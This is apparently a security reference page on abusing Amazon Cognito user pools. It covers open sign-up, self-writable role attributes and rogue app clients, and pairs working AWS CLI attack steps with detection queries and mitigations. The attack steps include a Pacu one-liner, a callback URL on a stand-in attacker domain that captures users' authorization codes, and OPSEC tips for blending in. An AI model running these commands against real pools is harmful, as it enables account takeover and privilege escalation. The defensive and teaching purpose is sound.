How it works
An Amazon Cognito user pool is a user directory and token issuer for an application. Users sign in through an app client, and the pool issues an ID token, an access token and a refresh token. The application, an API Gateway authorizer or a linked identity pool then decides what the user may do from the claims in those tokens. The pool settles authentication, and the consumers of its tokens settle authorization, which is where the gaps are.
Three weaknesses are common:
- Open self-service sign-up. When a pool permits self-service sign-up, it accepts account requests from the public internet.
SignUp,ConfirmSignUpandInitiateAuthare unauthenticated API operations: they need the app client ID, which is in the application, and no AWS credentials. A back-office application that "has no registration page" but uses such a pool can be joined by anyone. If any consumer treats "has a valid token from this pool" as "is an employee", the attacker is in. If the pool is a provider of an identity pool, the attacker also receives the authenticated role's AWS credentials. - Writable attributes used for authorization. Each app client has read and write permissions per attribute. AWS documents that a client without an explicit
WriteAttributeslist can write all standard and custom attributes, and that users can change those attributes for themselves withUpdateUserAttributes. Acustom:role,custom:tenant_idorcustom:isAdminattribute that the application or an identity pool role mapping rule trusts can then be set by the user. Attributes are shared across all app clients of a pool, so one permissive client is enough. - App client added or changed. With IAM access to the account, an attacker creates a new app client or edits one: a callback URL on a domain they control, the
ALLOW_USER_PASSWORD_AUTHflow, a client secret with theclient_credentialsgrant, broader OAuth scopes, or a refresh token validity of up to ten years. The client is a durable way to obtain tokens from the pool that survives the loss of the attacker's AWS credentials.
Prerequisites
For sign-up and attribute abuse, from outside:
- The user pool's Region and an app client ID. Both are visible in the application's code or network traffic. A client without a secret is needed, which is what browser and mobile apps use.
- Self-service sign-up enabled on the pool, or any existing account for the attribute path.
- An attribute that a consumer trusts and that the client can write, or a consumer that trusts any authenticated user.
- For the password flow shown below,
ALLOW_USER_PASSWORD_AUTHon the client. Otherwise sign in with SRP through an SDK.
For the app client variant:
- An AWS principal with
cognito-idp:CreateUserPoolClientorcognito-idp:UpdateUserPoolClienton the pool.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Register and sign in through the public API
aws cognito-idp sign-up \
--client-id 1example23456789 \
--username alice@example.com \
--password 'Example-Passw0rd!' \
--user-attributes Name=email,Value=alice@example.com \
--region us-east-1 --no-sign-request
# Code from the confirmation email
aws cognito-idp confirm-sign-up \
--client-id 1example23456789 \
--username alice@example.com \
--confirmation-code 123456 \
--region us-east-1 --no-sign-request
aws cognito-idp initiate-auth \
--auth-flow USER_PASSWORD_AUTH \
--client-id 1example23456789 \
--auth-parameters USERNAME=alice@example.com,PASSWORD='Example-Passw0rd!' \
--region us-east-1 --no-sign-request
The last call returns IdToken, AccessToken and RefreshToken. Present the ID or access token to the application's API, or exchange the ID token at a linked identity pool as described in Cognito identity pool role abuse.
Attributes can already be set at sign-up when the client may write them:
aws cognito-idp sign-up \
--client-id 1example23456789 \
--username alice@example.com \
--password 'Example-Passw0rd!' \
--user-attributes Name=email,Value=alice@example.com Name=custom:role,Value=admin \
--region us-east-1 --no-sign-request
2. Rewrite attributes of an existing user
# What the pool holds for the signed-in user
aws cognito-idp get-user --access-token "$ACCESS_TOKEN" --region us-east-1
# Change the attribute the application trusts
aws cognito-idp update-user-attributes \
--access-token "$ACCESS_TOKEN" \
--user-attributes Name=custom:role,Value=admin \
--region us-east-1
# New tokens that carry the changed claim
aws cognito-idp initiate-auth \
--auth-flow REFRESH_TOKEN_AUTH \
--client-id 1example23456789 \
--auth-parameters REFRESH_TOKEN="$REFRESH_TOKEN" \
--region us-east-1 --no-sign-request
If the client isn't allowed to write the attribute, Cognito answers with NotAuthorizedException. Custom attributes appear in the ID token as strings.
Pacu runs sign-up, attribute changes and the identity pool exchange in one module:
Pacu > run cognito__attack --username alice@example.com --password 'Example-Passw0rd!' --user_pool_clients 1example23456789@us-east-1_EXAMPLE --user_attributes '[{"Name":"custom:role","Value":"admin"}]'
3. Add or change an app client (with access to the account)
aws cognito-idp list-user-pools --max-items 60
aws cognito-idp list-user-pool-clients --user-pool-id us-east-1_EXAMPLE
aws cognito-idp describe-user-pool-client \
--user-pool-id us-east-1_EXAMPLE --client-id 1example23456789
# A new client the attacker controls
aws cognito-idp create-user-pool-client \
--user-pool-id us-east-1_EXAMPLE \
--client-name mobile-app-v2 \
--explicit-auth-flows ALLOW_USER_PASSWORD_AUTH ALLOW_REFRESH_TOKEN_AUTH \
--supported-identity-providers COGNITO \
--callback-urls https://app.attacker.example/callback \
--allowed-o-auth-flows code \
--allowed-o-auth-scopes openid email \
--allowed-o-auth-flows-user-pool-client \
--refresh-token-validity 3650
# Or one more callback URL on an existing client
aws cognito-idp update-user-pool-client \
--user-pool-id us-east-1_EXAMPLE \
--client-id 1example23456789 \
--callback-urls https://app.example.com/callback https://app.attacker.example/callback
UpdateUserPoolClient sets every attribute that is not passed to its default value. An operator who wants the application to keep working reads the client with describe-user-pool-client first and sends the whole configuration back with the one addition. The shortened call above would reset the client's flows, scopes and token lifetimes.
With a foreign callback URL on a real client, a sign-in link that looks like the application's own login page delivers the user's authorization code to the attacker.
Impact
Outside attackers gain a valid identity in the application. Where the application or a role mapping trusts a writable attribute, that identity becomes an administrator or crosses into another tenant, which is privilege escalation by editing your own profile. Where the pool feeds an identity pool, the result is temporary AWS credentials for the authenticated role.
The app client variant gives an attacker who once held AWS access a way to keep minting tokens for the pool, and through a hijacked callback URL a way to collect other users' sign-ins. None of it involves an IAM user, access key or role, so it is missed by credential reviews.
OPSEC and artifacts
- User pool API calls are management events. Cognito logs all user pool actions under
cognito-idp.amazonaws.com, soSignUp,ConfirmSignUp,InitiateAuthandUpdateUserAttributesare in CloudTrail by default with the source address and client ID. Calls made without AWS credentials have no IAM caller, and passwords and tokens are replaced withHIDDEN_DUE_TO_SECURITY_REASONS. - Managed login leaves service events. Requests to the hosted sign-in pages are logged with
eventTypeAwsServiceEventand names such asSignup_POSTandToken_POST. API calls haveeventTypeAwsApiCall. An attacker using the API directly against a pool whose real users all come through managed login stands out by event type alone. - The user stays in the directory. A self-registered account, its creation time, its attributes and its confirmation status remain in the pool until deleted. An account with a privileged attribute value that no administrator set is the durable artifact.
- Blending in. On a consumer application, one more sign-up is noise. Operators use a plausible email address and a single attribute change, and avoid the burst of failed
UpdateUserAttributescalls that probing many attribute names produces. - App client changes name the caller.
CreateUserPoolClientandUpdateUserPoolClientare logged with the IAM identity inuserIdentityand the pool inrequestParameters. A careless update that resets the client's settings also breaks sign-in for real users, which gets noticed fast.
Detection
- Sign-ups where none are expected. For a workforce or partner pool, any
SignUporSignup_POSTevent is an alert. - Self-service changes to authorization attributes.
UpdateUserAttributesevents on pools that carry role or tenant attributes, followed by a token refresh. - App client lifecycle.
CreateUserPoolClientandUpdateUserPoolClientby anyone other than the application's deployment role, and any callback URL on a domain the organization doesn't own. - Weakened pool settings. The Cognito pool rules cover MFA being switched off with SetUserPoolMfaConfig and role changes on a linked identity pool with SetIdentityPoolRoles.
-- Athena, CloudTrail table: sign-ups, attribute changes and app client changes on user pools
SELECT
eventtime,
eventname,
eventtype,
useridentity.arn AS iam_caller,
sourceipaddress,
requestparameters,
errorcode
FROM cloudtrail_logs
WHERE eventsource = 'cognito-idp.amazonaws.com'
AND eventname IN ('SignUp', 'Signup_POST', 'UpdateUserAttributes',
'CreateUserPoolClient', 'UpdateUserPoolClient')
AND eventtime >= '2026-11-01T00:00:00Z'
ORDER BY eventtime
On a public application, sign-ups are normal, so alert on the combination: a new account, an attribute change and a first call to an administrative API within minutes.
Mitigation
- Disable self-service sign-up on pools that are not meant for the public (
AdminCreateUserConfig.AllowAdminCreateUserOnly). Where sign-up must stay open, validate it in a pre sign-up Lambda trigger, for example against an allowed email domain. - Never authorize on "any valid token". Check group membership or an administrator-managed claim in every consumer, and validate issuer, audience or
client_id,token_useand expiry of each token. - Set
WriteAttributeson every app client and leave out every attribute that drives authorization. Manage those attributes from an administrative process, or use user pool groups instead of custom attributes for roles. - Review identity pool role mappings that read token claims, and make sure the claims they read can't be written by users.
- Keep app clients tight. Only the flows the application uses, no
ALLOW_USER_PASSWORD_AUTHunless needed, exact callback and logout URLs, short refresh token validity, and token revocation enabled. - Restrict who can manage clients. Allow
cognito-idp:CreateUserPoolClient,UpdateUserPoolClientandUpdateUserPoolonly to the deployment role, and compare the live client list with the deployed configuration regularly. - Require MFA on pools that reach sensitive data or AWS credentials, and attach an AWS WAF web ACL to the pool to limit automated sign-up.
- After an incident, delete rogue clients and users, and remember that removing a client or callback stops new sign-ins only. Tokens and AWS sessions that were already issued need their own revocation.
Detection rules for this attack
Log events to collect
FAQ
The app has no registration page. Can someone still sign up?
Yes, if the user pool allows self-service sign-up. SignUp is an unauthenticated API operation that anyone can call with the app client ID, whatever the user interface shows. Only the pool setting AllowAdminCreateUserOnly, or a pre sign-up Lambda trigger that rejects the request, closes it.
Can users change their own attributes?
Through any app client that has write permission for the attribute. AWS documents that an app client without an explicit WriteAttributes list can write all standard and custom attributes, and users can change them for themselves with UpdateUserAttributes. An attribute used for authorization must be removed from the write list of every app client.
Why is a new app client a persistence mechanism?
An app client is a way to obtain tokens from the pool. An attacker-created client with a callback URL they control, a client secret for the client credentials grant, or the password flow enabled keeps working after their IAM access is removed, and it doesn't show up in any review of IAM users, keys or roles.
Does CloudTrail record user pool activity?
Yes. Amazon Cognito logs all user pool API actions as management events under cognito-idp.amazonaws.com, including SignUp, InitiateAuth and UpdateUserAttributes, and logs managed login page requests as service events. Passwords and tokens are replaced with HIDDEN_DUE_TO_SECURITY_REASONS.
References
- Security best practices for Amazon Cognito user pools (Amazon Cognito Developer Guide)
- Working with user attributes: attribute permissions and scopes (Amazon Cognito Developer Guide)
- Authorization models for API and SDK authentication (Amazon Cognito Developer Guide)
- CreateUserPoolClient (Amazon Cognito user pools API reference)
- UpdateUserPoolClient (Amazon Cognito user pools API reference)
- Amazon Cognito logging in AWS CloudTrail (Amazon Cognito Developer Guide)
- Account Manipulation: Additional Cloud Credentials, T1098.001 (MITRE ATT&CK)
- Pacu: the AWS exploitation framework (Rhino Security Labs)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.